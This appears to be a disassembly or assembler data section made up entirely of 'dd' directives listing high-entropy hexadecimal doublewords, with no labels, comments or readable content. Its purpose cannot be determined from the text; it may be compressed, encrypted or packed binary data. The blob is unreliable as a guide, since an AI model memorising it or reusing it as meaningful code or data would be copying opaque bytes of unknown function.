dd 1CC36190h, 1AF048D5h, 5EDB9200h, 9EFBD4F9h, 0AF00BE7Fh
dd 0F78FCDA0h, 0CEDB952h, 0D907B203h, 0FE004910h, 1EE1F8D4h
dd 91A6F2h, 47E318EBh, 22679DB0h, 0C79E4807h, 787055B3h
dd 218B0Eh, 0BF9317D4h, 1FE9B7CDh, 0CEFD9500h, 76C5AEE7h
dd 5633007Fh, 0F5C0DC7Eh, 5C0003B4h, 79E66407h, 4637EAh
dd 4030EFFBh, 0FDDCC906h, 0ACAD9E00h, 9D82176Ah, 0B6FF5C74h
dd 21475A07h, 2C2802Eh, 7A0030DEh, 0F03BE24Dh, 0DC3F9Dh
dd 11FCF3EDh, 1E922B71h, 47FE7500h, 0F466CB4Ah, 0D9DD0129h
dd 0EE554D46h, 77D5C8E3h, 733FA300h, 2AA4F16Dh, 764A0011h
dd 0A5DDA252h, 0F200556Ah, 32DA9261h, 17388C5Ah, 411F5942h
dd 7F1B407Ch, 0AE05CC03h, 95080413h, 18CBB800h, 0D92BA2h
dd 0B40DF02Ch, 86354151h, 6A6F4300h, 734B169Eh, 7CB0563h
dd 0A0A738A0h, 0C70A1B8Eh, 0FC92B9C1h, 5A52C94h, 902DA277h
dd 744243C7h, 5148497Eh, 0ED771188h, 5A00929Eh, 0DEBA988Bh
dd 676100C7h, 5BE10733h, 2B0C05CBh, 2878AB4Eh, 1AB47471h
dd 0D0FA23A1h, 5F852800h, 0FF03F86Ah, 5A8C5415h, 1F2100F4h
dd 813A2CFAh, 19004A6Ah, 0F15D8B8Eh, 3D40B1h, 61D2A50Ch
dd 278CB846h, 2AF61800h, 594B112Fh, 0C80100DEh, 0AEEAB409h
dd 0DB00B173h, 914C5FCFh, 0D244Dh, 504AC9C0h, 39BB941Eh
dd 43318E00h, 5C07841Dh, 7DF318E4h, 80742ECDh, 3E67E100h
dd 0C722A342h, 500F4AF7h, 0A8BF046Ch, 0B2C9032Ch, 0F12393BDh
dd 1A4831E0h, 2935CF08h, 4E2E001Eh, 8090A4E1h, 0DFE89600h
dd 646FE3B5h, 49F26019h, 1DC21EAEh, 0EB9539h, 0FEC10EA3h
dd 0BC3B384h, 0A4780456h, 204698A3h, 0B5D48100h, 75F505CDh
dd 7D910169h, 40D8E10Eh, 0DC22F7h, 484A9E9h, 7C61FCh, 9CA12F27h
dd 14C841EEh, 3BCD759h, 9AFA8909h, 4F9488CBh, 33D006Fh
dd 0DEBB9584h, 15794A8Fh, 9180CB0h, 69812746h, 363F26EAh
dd 7F1C0375h, 0D800FFD2h, 8A0DCFBDh, 0CD4CF8h, 0C1270E35h
dd 14A07457h, 0DBA1B119h, 5C285008h, 0C09C8D0Eh, 0F21F92E1h
dd 4E704082h, 2405E22Ah, 0F0CFCD19h, 0EB21C2FEh, 0C461A061h
dd 0C1C1DC16h, 0E9932849h, 0EEF9C2F0h, 0D6CB00B9h, 2C18D45h
dd 0C52A4121h, 0EE00A098h, 1B52F9F5h, 3DD3E8Eh, 0D997F79Eh
dd 21B01D69h, 195054AEh, 6C9CA794h, 10AB2E0Ch, 2CC802EEh
dd 872B928h, 0DDDEF880h, 2A0FC23Bh, 0A04EC69Bh, 92419D78h
dd 2898987Eh, 29E63547h, 18E04C05h, 0EB5F2155h, 0FF2DB407h
dd 4791F4AFh, 0B9D4DDBDh, 19E00E9h, 0B71968B0h, 99049136h
dd 1828DCF0h, 0A9102897h, 0B07D9371h, 3A4C767Ah, 0D2180E34h
dd 0F8F20F1h, 120056F4h, 0CDAE58FAh, 0F3F6640h, 9DE62F1Bh
dd 131EB014h, 0BCDB008Eh, 0F1FDD65Eh, 5E7A0236h, 0DE5600A8h
dd 7443DFADh, 92004D9Bh, 0A6D01957h, 0DEF07AA3h, 37630C68h
dd 0B100AA30h, 6504B76Fh, 7493767Bh, 0C318007Ah, 827D891Dh
dd 98008A2Eh, 3F784E48h, 608CA6D9h, 4F03D102h, 78C72F68h
dd 0DC0096E5h, 371794Ch, 4AAA1104h, 0F1B21551h, 43559498h
dd 0CB6E7200h, 0EE4DBF3Ch, 2D671504h, 0FB82A0BBh, 3AE09135h
dd 0F01FF7EBh, 83096FCFh, 9902FE8h, 4E681024h, 0EFA72492h
dd 31F42D0h, 0DC1198C2h, 0A1C7E01Ch, 938111C0h, 0ED970FCh
dd 0C31AFD3Dh, 80D406A4h, 0A7AD7E1Eh, 5EEC1C00h, 0CF076866h
dd 7D04E844h, 0FB0A84Ch, 0E0FD07A5h, 809C10D8h, 0CD261EFEh
dd 0C244D1E8h, 0DEA60ACEh, 8472AFh, 393DFA7Dh, 920043C4h
dd 0F4D2F87Fh, 0A801A3A0h, 0C0E419A4h, 74848339h, 9F019C38h
dd 82CF2FD4h, 5C2496A1h, 299EE119h, 0DFE493Fh, 0C9C9342Fh
dd 0FBBF9410h, 1A1DB300h, 82942E5Fh, 392400FCh, 6E78416Fh
dd 0D44917DFh, 0F7020038h, 4B45E36Ah, 7AAC069Ah, 0A0D00371h
dd 4DE4626h, 85868A83h, 8FE8B882h, 21F10575h, 0C05F94C5h
dd 42EB472Ch, 32928C6h, 0CC7700D1h, 0F60ED3ACh, 55003448h
dd 9B94BD76h, 9678375h, 0EBA150DEh, 82E24A0h, 74064EFCh
dd 6B4615E0h, 9C60019h, 0D9F4C4CAh, 180058A7h, 2A33D347h
dd 2CF5246h, 0C274329Bh, 0F8481A69h, 530057CEh, 0C4206E26h
dd 1CB8DAh, 0F60CA2E1h, 0B470ACA4h, 79DFBA14h, 43097818h
dd 0B0E9CF4Fh, 11DF8B7Ch, 88C0744Bh, 0C1618053h, 4ABFECC3h
dd 2E446E7Ah, 0DA713A7Ch, 0D67BDB01h, 40F26168h, 9CF47334h
dd 6FF3D112h, 36089C1Eh, 4ED301B5h, 0F1A156CFh, 64329Fh
dd 0FAA71BA9h, 2398FBh, 0D072EA55h, 49D3D664h, 0AE071A18h
dd 0D442E358h, 0A980F438h, 9AE5A054h, 6E8945Ch, 0FB3735E6h
dd 4FF32949h, 224B00F0h, 0A3E5450Eh, 0B57818A8h, 96E12D02h
dd 0A01BED2Ch, 0EE240AD0h, 0E6B2008Fh, 33263B87h, 83000B3Fh
dd 0BF027604h, 243082CCh, 54147Bh, 0AA62957h, 0F5001278h
dd 3F1C9CEFh
dd 30825489h, 0E5802C17h, 47E79F21h, 4EE11078h, 9CA16990h
dd 0AECB10FEh, 1CDE30E3h, 0A24ECCF1h, 0E45B10C0h, 123BF1FBh
dd 90C99C21h, 0F1E15C0h, 0BC1BAB24h, 600EF513h, 20148BF9h
dd 8C96E350h, 77401D70h, 0D3E440A7h, 1135EBE7h, 80E0F648h
dd 3ABA56ECh, 2CE20667h, 8EA4C18h, 0C800A85Bh, 0A0FDD339h
dd 819D0051h, 4CE2BE55h, 2B3FC1A9h, 910C6CD9h, 487858A0h
dd 5C68F280h, 94923E3Dh, 0AEA4550Fh, 0D4DBF6F7h, 82AC7724h
dd 996C1E96h, 0D5BA0460h, 45F15C04h, 388187B1h, 0CAFCB846h
dd 99A91B36h, 0D1DA2994h, 2298F522h, 0E12863ECh, 0D0222931h
dd 17FD6811h, 0A208289Ah, 846E9097h, 0A44C937Dh, 0E500E829h
dd 639426DFh, 7AE8F42h, 737AAB33h, 0C453016Dh, 0DCC9D825h
dd 8400D25Ah, 9769C33Ch, 0A670E53Eh, 2BFA6Dh, 720AF25Fh
dd 2E94F113h, 0C4EBF000h, 8A1FD1C0h, 8BF94C7Ah, 85F64600h
dd 3E075C5h, 0AC34BD03h, 0E0DBD0B2h, 1FC7D89Bh, 0A26805h
dd 0D69A6F0h, 0C1002360h, 950B7584h, 60C8978Bh, 13DE11BAh
dd 4A07CEECh, 723AC3A4h, 88760930h, 0D57F0061h, 11BF8BB5h
dd 0AA00E975h, 0D7AF0801h, 92E16BDDh, 5D3513E4h, 0F7C800Ah
dd 26005CFCh, 2FC1E331h, 0FC02AE73h, 0F93600F7h, 0E79B9D0Ah
dd 0C700656Fh, 60EB85B0h, 5C0B7007h, 93006ADAh, 9F31B1D2h
dd 0F000359Bh, 0BF6FD444h, 1685A20Ah, 0C7C92C1Ah, 68A580FCh
dd 0A45AEF7Bh, 6F17C400h, 80DD35h, 58720EA9h, 0D03A26Ah
dd 90196401h, 0B5B8E153h, 0BC987870h, 6E1030h, 295442FCh
dd 3E611C4h, 5652781Fh, 0EEF9BD5Fh, 4AB880EFh, 0DF7ED13Dh
dd 16A74A7h, 3624B292h, 407ABAD6h, 0CFD42C7h, 7D019970h
dd 54085219h, 74691F01h, 3EC1790Eh, 0CAAC0F60h, 55006F8Ah
dd 0B8C5E991h, 78EC93C7h, 0C6B601DEh, 0D3B8C6Ch, 0F8D887DDh
dd 5750C328h, 0A9A0521h, 0E122EED3h, 3BB705FCh, 0A51280F9h
dd 65FE0C49h, 10001EF8h, 7CDF6B9Bh, 66F9F2h, 2D2AAF3Ah
dd 8DDCCA02h, 3EC67700h, 7617AD09h, 5917759h, 0DD6884ABh
dd 0BDEC401Fh, 0AAC78921h, 0F8352603h, 870E6910h, 39A74F50h
dd 3E7800E7h, 668D8F30h, 0B000F4BFh, 5A53F7B6h, 9C93BDAh
dd 6AE13AA8h, 1FE33982h, 3FF16E60h, 0D80BF001h, 0E032DFA5h
dd 5FB3ECh, 0CF714445h, 0FCA0D693h, 7DEC8C00h, 8E023413h
dd 23698DFh, 0C2FF0BF6h, 6CD84A22h, 50C5C600h, 0DF39218Fh
dd 0F29B0071h, 4428579Eh, 3C003029h, 3851BA2Fh, 0A77961h
dd 0A60BE97Ch, 31D7EEA4h, 2644A548h, 8602440Dh, 405037F8h
dd 0B7833Ch, 8859D1ADh, 0CD453EDCh, 633CA979h, 55110084h
dd 0FCBBE364h, 477000C6h, 1AE238F8h, 48948292h, 310E7100h
dd 2B9B755h, 0CC28AFF1h, 4CD09284h, 41AC5A01h, 8F275D79h
dd 241A73D0h, 51C26E2h, 813DCDh, 22AFFA9Fh, 44508CE8h
dd 6E0062E4h, 5D692ED9h, 0C818E5h, 0EA47D8B3h, 3CEB0AE4h
dd 80C92039h, 62AB1439h, 792A29h, 98EA7A49h, 0E96BB902h
dd 6D5C4300h, 0DBF1A5FAh, 91E407ACh, 0DF036795h, 67E7BE0h
dd 3400BAC5h, 7808617Dh, 72DB6BBCh, 3EDE73C6h, 0CB0024A5h
dd 37020C16h, 0CA1796FAh, 0C4019B4Ah, 291C15A3h, 48F3CCh
dd 0C0E31BB7h, 7356300Ch, 3C4E2400h, 8EF07522h, 97B00A5Bh
dd 0E4C816h, 0D6B941E6h, 7100594Dh, 2C7B2310h, 1EEF265Fh
dd 25F2CEh, 360BCCE3h, 0FB0012D4h, 0A03BE574h, 848C68h
dd 0E8784DB0h, 5D1A593Ch, 0F39B6700h, 4F896D6Ah, 0DE2E00CCh
dd 0AC3583B5h, 923DF0C1h, 0D08EA895h, 9AECA3Eh, 8001410Fh
dd 60A57A34h, 8CCE072Fh, 0C96D9A3Ch, 0BE192F03h, 4E928FC0h
dd 14557030h, 0F647Bh, 0D2729A0Dh, 0D630DCD4h, 2FEB600Fh
dd 0E7C07CF1h, 8E1952F0h, 0EA0807B0h, 0F0ABE6A5h, 0CE8FB641h
dd 17500106h, 9D2813ACh, 5E4E3080h, 0FF481DF9h, 0B155002Ch
dd 0B6CE8969h, 0D023483Ah, 0B045C525h, 8BAE12BEh, 0D0C0C317h
dd 9211ED1h, 560A609Dh, 73B08C00h, 1058599Bh, 2C3A00h
dd 52636E1Ch, 8E0320h, 21A08399h, 59149419h, 654B40Bh
dd 0BC28004Eh, 1E939FDh, 1A86D592h, 406F02E4h, 0A5074A94h
dd 65303A00h, 85C6612Ah, 0FC9075h, 4EDFEEF6h, 0B82F5B29h
dd 4DC05600h, 87CFA7D3h, 0C98F0370h, 7F2ECB38h, 9B756FA8h
dd 41011F00h, 0CEE59AFAh, 0B8F7009Dh, 0EEFE5FBBh, 0CC1D66B1h
dd 0AA4E097Bh, 1DDCE0B0h, 135318h, 0F1AB48Eh, 0DB89B8F0h
dd 0A300C076h, 0B3C931A9h, 180E8h, 0EE436E64h, 0ACED0D2h
dd 0F295D301h, 3EA37C59h, 0E148A340h, 9BF900A7h, 75C0E976h
dd 510029C9h, 7DF49EB6h, 0F9C49A9h, 0F3631410h, 82E47EE3h
dd 0F1D6D9F0h, 0ACBD3507h, 0CA401DE6h, 6C3063Ah, 0BA71E25Ah
dd 2C00EA15h, 0BB4168CEh, 3FEE82B4h, 61074479h, 0B0AD40FFh
dd 0A3CA8A71h, 51A8438h, 98D75B91h, 1DD308C0h, 183C2007h
dd 707D6000h, 1BB2CBB6h, 85760188h, 740C8D28h, 10C6071h
dd 0BE89913Fh, 0A85D0148h, 704B3113h, 0A8DFCh, 7C4A4CB8h
dd 0EF976DF9h, 0BD00A0E4h, 3477130Fh, 7D482080h, 0DEAB0037h
dd 0F43946F2h, 0E601592Ch, 0DA9B6FAAh, 1E80AD5Fh, 2AD50F13h
dd 0A101EA86h, 7489653Eh, 0F8301D2Fh, 9A520788h, 5BCAECh
dd 0B190D23Ah, 29465000h, 4C091220h, 38ECF3h, 0BA23F78h
dd 0E9FDA6Bh, 50848D00h, 6D74E5Dh, 8A28C077h, 67F94AD3h
dd 0C2E6B000h, 0B7B21C12h, 3FD7FE9h, 0EEC86371h, 0F4C0A323h
dd 9E001F1Ah, 0A5449C78h, 5172D5h, 35C1A76Bh, 75151617h
dd 0BE388C00h, 54D9DE19h, 6AA50556h, 831A4B78h, 1CB90422h
dd 0F6D960C8h, 0AB0FBB00h, 0EDFA58ADh, 1147005Ah, 84F0D187h
dd 0F1009D98h, 0DDB29CE9h, 0FF42C0h, 0EBAC2777h, 786D20A9h
dd 56DEBA00h, 29B40D23h, 3B7900D8h, 0B83A74B1h, 0CBE40CD6h
dd 91724200h, 0C91A18D3h, 8C396098h, 3FF90A4h, 5CFAD900h
dd 0A9669148h, 90266FA6h, 8B1BBBE0h, 4F001F7Bh, 0D08EBC99h
dd 16E3AEh, 610B8342h, 0B0D562CCh, 69F89B07h, 6CC1CF1Bh
dd 0D8E4E7FEh, 0B3391E53h, 0CEEBC075h, 0A6200B50h, 0CA063AECh
dd 73FBE599h, 7337BF4h, 0B4343827h, 8520A028h, 2400E5CBh
dd 184AF003h, 7CFA862h, 5215AEDEh, 87FB00BBh, 32032690h
dd 0F21EA7E5h, 670A80C9h, 3E9BEC71h, 5E00ACDDh, 538B09DBh
dd 2D0069F5h, 6C4777EAh, 0E9E3FB8h, 0ABDD37A1h, 0C51376C0h
dd 8B18B3A4h, 3BCA24C2h, 0D86D0036h, 2685B962h, 275B8A1Ah
dd 0BA00FAE8h, 0E2154443h, 13017521h, 32FD0690h, 0D6D4A95Eh
dd 0E7E10007h, 86BAB8Eh, 0AD00AAC3h, 0E06111E5h, 622A36h
dd 0BED9E8B4h, 0E23D6BBFh, 0C4B04A60h, 30CB23DBh, 9B10DC53h
dd 89E036A3h, 9392DA03h, 8870228Bh, 3DC56115h, 4B8F9CFAh
dd 48A035FCh, 44C1DD31h, 76D94000h, 0ADF9BAD2h, 16300043h
dd 4A289BF3h, 48016A2Dh, 0A7AE4959h, 5AF8CEE8h, 657D00C0h
dd 0EF730BFFh, 77001A27h, 2C7FEEE0h, 0F71CBBh, 19D53506h
dd 46F8E30Dh, 7E005CE4h, 52CDAB41h, 7D214F1Eh, 0A62800CCh
dd 995D8958h, 6001A36h, 9618BD5Ah, 944A7AFh, 5B7D36Dh
dd 0E8E73700h, 0D3B853Ah, 30683006h, 20266Fh, 5F868FCAh
dd 8E14AF08h, 0A44AA626h, 94004C28h, 799DB96Ch, 1244DFh
dd 0F7647643h, 527DDB92h, 58C0FC60h, 0F38D761h, 4FD54FAh
dd 4E75B7E3h, 2747F5B0h
dd 6C908361h, 3FF09E85h, 0ABA615E6h, 8A67C4C4h, 0EE44E0B6h
dd 0AA0015EFh, 29119B32h, 0E2D69Ch, 61108A94h, 2873434Dh
dd 0E4F3D000h, 30D77684h, 5CF1E2Ah, 3A9A010Ah, 601FFFEBh
dd 2C00A635h, 5B784856h, 90C8E182h, 7F68000Ch, 0ED5E77C5h
dd 330059AFh, 0DBABBADCh, 0CE35CBh, 1C06C683h, 0D8BFFF18h
dd 7100097Eh, 3B4A4161h, 0D639C4h, 1C3E9CA3h, 9705308Eh
dd 0EBA74E1Dh, 0E2CB60C0h, 2A47FBh, 0E18C9EAEh, 1EF228A6h
dd 0B77DEB76h, 0BE030298h, 0FEF69A9h, 0F0F1F091h, 17EC0059h
dd 0DDBA9B09h, 4200D2D0h, 0A9881A20h, 24FEB852h, 20E7114Ah
dd 67FD0098h, 6D038518h, 0E33FDB44h, 4D338036h, 0C36FC0C7h
dd 0B273C2h, 2BB7B31Bh, 0F3AFB612h, 0F7125FE6h, 63002A0Eh
dd 0ABE6CCEh, 0EBA100ADh, 0D62CE8EFh, 0A700AB6Eh, 0E1DE86B5h
dd 8EE53Bh, 0B34323A4h, 362DD208h, 0A6780203h, 0E85F93E8h
dd 3AC1C092h, 0AC96FE04h, 13B605E5h, 61BEC274h, 1CD21048h
dd 0CD5E3800h, 65E40FA3h, 4348392Eh, 53036201h, 20FE9531h
dd 8F00BE38h, 9249DB10h, 186684B2h, 5112CA93h, 9A80FB0Dh
dd 546C02DFh, 949DA5CCh, 236F9480h, 300BF0Ah, 8EF967BCh
dd 0E2F281h, 847A367Fh, 0E7EB40D7h, 3DC3B918h, 11FABD8h
dd 11109A42h, 300C07A9h, 2000EA80h, 8DF5EFD0h, 3E6923E3h
dd 6000F8C4h, 851A43A0h, 400F90Eh, 0F1ED51BEh, 45337Fh
dd 316224A2h, 0D008B9FFh, 0EA60E463h, 6734E0F7h, 4BA00B2h
dd 80AC9AC8h, 7F03934Fh, 1CF71EAFh, 0A7ADE849h, 0DF773019h
dd 7ED2E548h, 6F6EED00h, 4621F795h, 9A57001Bh, 42BB65B6h
dd 61000FC6h, 8FC243E5h, 2687B14h, 9DD180E9h, 5FE0520Dh
dd 0AC02F462h, 0C4A4B11h, 0C0A1423Dh, 7CDA0ECh, 33FF4309h
dd 0D13D0D9h, 0D718B853h, 0FBB8E9B3h, 2B460A40h, 0E21B03h
dd 0F2792135h, 950EE89Ah, 0C074B929h, 0DEE98A9Ch, 0DB5300C3h
dd 0D361A970h, 0D8035884h, 0A40566Ch, 15FAF017h, 0E11100AFh
dd 0D67219B5h, 300C02DBh, 70E87A47h, 50E4582Bh, 0F0E7E216h
dd 1E05D0ABh, 0FCBE0DCh, 0E9DEC080h, 313B0194h, 3016AA39h
dd 0CA188126h, 86DF5987h, 127A98C8h, 5B38F1Ch, 102B9B7h
dd 0F211F4E8h, 764980C3h, 6F33A6EAh, 0C310DF0Dh, 75B8B256h
dd 0ABF330D0h, 24194400h, 22861D7Ch, 7F430FA1h, 53DDE823h
dd 0F840205Dh, 330086D3h, 8E03E2A8h, 3E3746h, 0C1F92EAFh
dd 87258A49h, 2D0F6302h, 61B0F4C9h, 0BCF00DF6h, 0B8E70024h
dd 537E2935h, 1504C838h, 0E19D2B8Eh, 0C7ABC0C0h, 51980076h
dd 548BD9A2h, 0ED001A6Bh, 57BAB494h, 0FFB6E7h, 5DEEDA40h
dd 0AF609019h, 94580B00h, 98E26CEBh, 0C9D50001h, 0FD8528C5h
dd 8CB02426h, 33002771h, 0DD71FF8Fh, 0B3505Eh, 0F412CDC2h
dd 0DF235A24h, 0D20F1000h, 0B5306820h, 0CFEF04E1h, 0C09C92D1h
dd 410E7514h, 0A4E830EFh, 0DBE83B03h, 0E83D15D5h, 61A96B06h
dd 59F928B0h, 2035C521h, 2C3E8718h, 0A0888084h, 26C6EDFEh
dd 0D8280016h, 4B2DF33h, 7E008085h, 0EC64CC35h, 8B5B20h
dd 69DE36ADh, 6EEF2255h, 160DC000h, 0ED68D1B8h, 0DF71006Bh
dd 4E82011Ah, 1F90B9F6h, 0F007A20Eh, 7354402Dh, 78F21B8h
dd 1AE668A0h, 5EBBA1BDh, 58EFF01Eh, 7AAC8048h, 53F1BE00h
dd 42C839C3h, 0C10A00F0h, 414F8FACh, 8824635Fh, 60805478h
dd 5B6F48F4h, 0A6BD00EEh, 0D17096C1h, 11312CBh, 0D001F723h
dd 0E8E890Dh, 8DA874h, 0B7FC313Fh, 9EC5B24h, 1BE63C90h
dd 69F06D00h, 2C86E278h, 287CF6h, 873D1DD9h, 40C8F48h
dd 0B4223A00h, 3C617F78h, 12F21Bh, 6AC8ABD9h, 7B166611h
dd 7DDA4600h, 92CFC49Eh, 0BBF00E0h, 8190769Dh, 0E21611D1h
dd 0BF09B231h, 337C803Ah, 353DF93h, 0BEF739B1h, 28039B63h
dd 3A180573h, 5843D8ECh, 0C82B0012h, 6C7AED87h, 9100523Eh
dd 0C18B8490h, 280AF79h, 2A0328BFh, 0CC603493h, 0E6E4C017h
dd 2C0E6F00h, 47D762FDh, 0D370A3h, 93D5A951h, 4997BAE1h
dd 9881992Eh, 40BE073Ch, 7570E761h, 7C0988C5h, 4F6A0BA9h
dd 84006279h, 5E0B3B34h, 6400CFECh, 11C401Bh, 27FA2BCh
dd 6E8BA770h, 0CD408494h, 21071405h, 5DA6EBCBh, 0FF259D91h
dd 13B240E8h, 0EE72343Bh, 0ADA28800h, 67EB0h, 24174A81h
dd 3F11522Ch, 2EEC13EAh, 5041AD00h, 0BEEB875Eh, 1F0BE677h
dd 0C334C7D2h, 45BDFE1Ah, 1F9814E8h, 0C058A47Bh, 8FDA0080h
dd 0AEC26C4Ch, 0B2BF0129h, 0C7725FEh, 0FDBEC45Ch, 0B1049098h
dd 72C341EFh, 7ECAF490h, 0FC3A01F1h, 0B0E788E9h, 0D8B940CFh
dd 907B8AB5h, 8039983Eh, 357AFEAAh, 909441D6h, 0C3840030h
dd 62EF365Ch, 323B8042h, 0D4FA9291h, 88484040h, 0FE40Dh
dd 0E6D362F1h, 5133804h, 0E3C53500h, 0CA997FEEh, 60A14C2Bh
dd 0F1196C00h, 0BF677C51h, 4311A07h, 86404B3Bh, 5BB621h
dd 3C1DD52Eh, 3714CFC5h, 0E503DCB0h, 30FD81E6h, 6299B86Ch
dd 0DC440067h, 0F77B9890h, 0C63D7466h, 0AC51F2A5h, 7A3FF0F0h
dd 4F02687Ah, 74F41E88h, 79274015h, 20C53E02h, 84171200h
dd 1B41660Ah, 8F523D01h, 58AEA23Bh, 9A590C20h, 986E7E60h
dd 16CF0037h, 3CF83968h, 0F500E798h, 0AE1BE834h, 0D60311h
dd 0A2778A12h, 539E7CEBh, 2C9BCB00h, 0C121A7D8h, 242D0080h
dd 3F25340Dh, 400073D4h, 7AAC6A3h, 6EF8C0h, 0A4CE4890h
dd 58AC174Bh, 0F167731Ch, 0C0DA524Eh, 8FB60521h, 23941DAAh
dd 0EB4C099h, 3FFACDA6h, 0F41A931Fh, 1C9897D4h, 0CC4023BCh
dd 0C876E80Dh, 0DF370091h, 0AFECEA6h, 690003FAh, 0C4929A54h
dd 0B06098ACh, 84F10042h, 6DD3E226h, 1101A0F3h, 0CCFC580Dh
dd 0A7C83C48h, 0F24200EBh, 4374E36Bh, 9F01FB8Ch, 77DAB03Ah
dd 0B4246075h, 89AA001Ah, 392F77Ah, 0C70010C6h, 7F14D998h
dd 2C3ABAh, 70193985h, 9DA6976Ah, 41F46300h, 6076CFDh
dd 5EA830E1h, 61E2A0E6h, 866B6A00h, 0EEB4F3F6h, 0A4A01DAh
dd 8F87058Eh, 4F40F267h, 83030F6Bh, 0A03CDFFDh, 24200003h
dd 203AAC6Ch, 0E900F91Ch, 37D57239h, 0D38701h, 947EECD2h
dd 259F9EE6h, 93FCB200h, 3235894Dh, 0EF310E92h, 0B46F46B6h
dd 0DD0B9DE0h, 0B702E43Ah, 71B1457Bh, 980C704Bh, 16480070h
dd 1B9D9E25h, 91006AE0h, 5F45EFE3h, 135E8864h, 455B1CCh
dd 0C085A310h, 22F4F586h, 38549800h, 0ED0AAEF7h, 0D9C10036h
dd 145BE00Eh, 6C000903h, 85B67DE1h, 4EB5D5h, 0E525BBC6h
dd 33DDF20Dh, 8A533600h, 287159D1h, 899F3F16h, 0B68D0180h
dd 0A8F362F2h, 0DD514F09h, 7A40103h, 0ABE35058h, 0A0110078h
dd 8AB3BA57h, 7500E33Ah, 70895A5Bh, 27340E6h, 6657A794h
dd 4060CFCBh, 9A31148Eh, 4EADF8E2h, 28CA60h, 93C96AFCh
dd 0A7419D56h, 58C858C1h, 0E0242761h, 9A3010Fh, 149456B8h
dd 3812601Dh, 0BF91FC39h, 8F8A0459h, 1780AEA5h, 0E41A80h
dd 5DC1CADAh, 2E6732FDh, 63CFEE00h, 0C9DC4C86h, 3A88000Dh
dd 3DCCBEC5h, 0B00C719h, 4D52FDDFh, 7A841F3Ch, 0CE60923h
dd 92001E58h, 8B1572B7h, 3F22DB16h, 0D8235C01h, 27FD4FE1h
dd 3A6EC0h, 0E96F284h, 4A657C69h, 0B507FD03h, 0E3FCCD01h
dd 0F9B655h, 4EAE2DF4h, 488361FBh, 883B3900h, 0BDF5B1B3h
dd 0E44C1DF8h, 0C8E8C047h, 0D46931D2h, 0A650CF63h, 0A4E59035h
dd 0D1BD1094h, 6E2878F3h
dd 703DCDDh, 8FFD5908h, 7708180Fh, 9CCE2095h, 2C0094E6h
dd 89AB2B71h, 5275Eh, 5DF7E10Ah, 0FEA1A988h, 1914C903h
dd 6096FD4Fh, 0BF2DB038h, 786F645Dh, 97BD8111h, 29A87645h
dd 493E7BFEh, 8D0068F7h, 0D7D3CD06h, 0C9196F3Fh, 86083C2Fh
dd 0F86D2180h, 0F13AE9CAh, 0E515871Fh, 6A719028h, 4BE05800h
dd 0A6291BFDh, 0AE780014h, 9C8E5D9h, 1800DCE6h, 0D0A73532h
dd 7A0D60Fh, 0CD5D8FC6h, 3EB40043h, 2A38C1F5h, 9A7300AEh
dd 98C8406h, 0DC7A0348h, 3FC0FCFh, 5BF35C90h, 93B0B100h
dd 0BBA7B274h, 977572h, 4D306F82h, 5A6C6740h, 375AC00h
dd 0BAFEFF65h, 71E11DD0h, 95740FA1h, 72F73D60h, 3607F1FAh
dd 19A08DBDh, 0FF053F81h, 170D3E8h, 0A210DD84h, 902A73BBh
dd 0E8EA7208h, 0B3A430CDh, 21980A10h, 58D86307h, 650DC8Eh
dd 181AF4h, 94CD1345h, 9304367h, 0B737B118h, 88D0AA28h
dd 0BE044A2Dh, 66C0CD1Ch, 6E1B085Ch, 61FD5604h, 42597504h
dd 242818Ch, 722504B0h, 2CBB2806h, 14983179h, 11086029h
dd 8411DDBEh, 42581750h, 0DA220E3Fh, 9A8E23D7h, 14707928h
dd 0C9333730h, 80600406h, 3C8894E7h, 4829DE0Bh, 220859DEh
dd 0C61B0001h, 0C27F2E97h, 0E0234E6h, 70D63CC7h, 0CF9E01Ch
dd 133E0038h, 0EFC8C443h, 0AF01BFFDh, 78BAA9E2h, 8804AEBh
dd 0F693A5E8h, 8400F882h, 0EAA67B3Bh, 1F987FD5h, 0C0233CECh
dd 3AB6B5Ah, 800DE45h, 0DA823D79h, 3DA36249h, 6D01CE95h
dd 0F68A63A4h, 558370C4h, 0F70AA200h, 5170F2FDh, 0C7CA00B9h
dd 0EDC3A197h, 9200CCE8h, 0F7DEEC3Ch, 0F6099Ah, 15FEE30Ah
dd 8B9002B7h, 691D1600h, 0BF5FAE08h, 885800C1h, 6ABEF7D5h
dd 7928FC7Bh, 1400C56Eh, 947DAF70h, 5D243Ch, 1BE5B0F6h
dd 7184D22Dh, 0A007CE8h, 0F1D47686h, 181C04C0h, 60BBD0E0h
dd 200ACD6h, 0FF635ACDh, 39F3DDh, 1934C0CCh, 91997455h
dd 0F8808660h, 1D9DBC8Eh, 0C049812Ah, 18AD7035h, 1438EDB0h
dd 0DAA800F0h, 1F761168h, 0AFC900C6h, 94E407F4h, 0B30047B2h
dd 111CC2EEh, 0D61EA6h, 1801BDBCh, 47D54672h, 0A595781Fh
dd 45296700h, 1D0AE1Dh, 5EDE70Dh, 0C8DA2A19h, 0A03DCCBh
dd 510F1CF0h, 405698B7h, 5A0C00BEh, 8746B4CEh, 4B0063FDh
dd 2D99C3Dh, 355313Ah, 0A28B1C97h, 0DAF22BD0h, 509BE887h
dd 3968959Ch, 0B9BA8D1Fh, 5600C7E4h, 7E381054h, 0CD963B3Bh
dd 1EF35107h, 17B700C8h, 5600BD18h, 1F088021h, 0EEAE5Dh
dd 579D022Dh, 0BD221D97h, 0FBA8D703h, 0B8097A1Bh, 1FDEAAh
dd 4283B1F8h, 535FF6FAh, 5902DF14h, 0B9DC00ACh, 0E63F9497h
dd 40AC0F10h, 0E239EE0h, 7AC0E105h, 0C005004h, 81556691h
dd 1D4143C4h, 4D7CFBF2h, 0F008FA3Ah, 19733BFCh, 0DE658C00h
dd 61EEA67Ah, 0F6980021h, 3B873F62h, 74006D5Bh, 6A2CEAD4h
dd 0D2DCB3h, 0A1A4B436h, 0A0F67310h, 0FAB7583Dh, 96007D79h
dd 2FFC9A07h, 0F7DDD8h, 0FE152DD4h, 0DC87BDB1h, 0EFD803Ah
dd 2095B560h, 312F1D3Bh, 1857C35h, 2DCD0F5h, 0E87017E7h
dd 910090D7h, 6A1BDD40h, 9BFE96h, 0F45FF8BEh, 128D6D71h
dd 0E45639h, 331508E3h, 21A801h, 0BDDC85C2h, 7FC0AA4Bh
dd 6279E500h, 0DAC588Ah, 92500EEh, 43D1D0CBh, 942E2304h
dd 0EA1C424Ah, 7A281F40h, 729736CCh, 0F73100A9h, 0B2102C96h
dd 0BF049FECh, 790FD732h, 0D3AB6180h, 0A8D900A9h, 0F62566EFh
dd 0CF3BC3E9h, 2CBA95h, 0ECADC5CCh, 1E6D12A9h, 8E4FDF55h
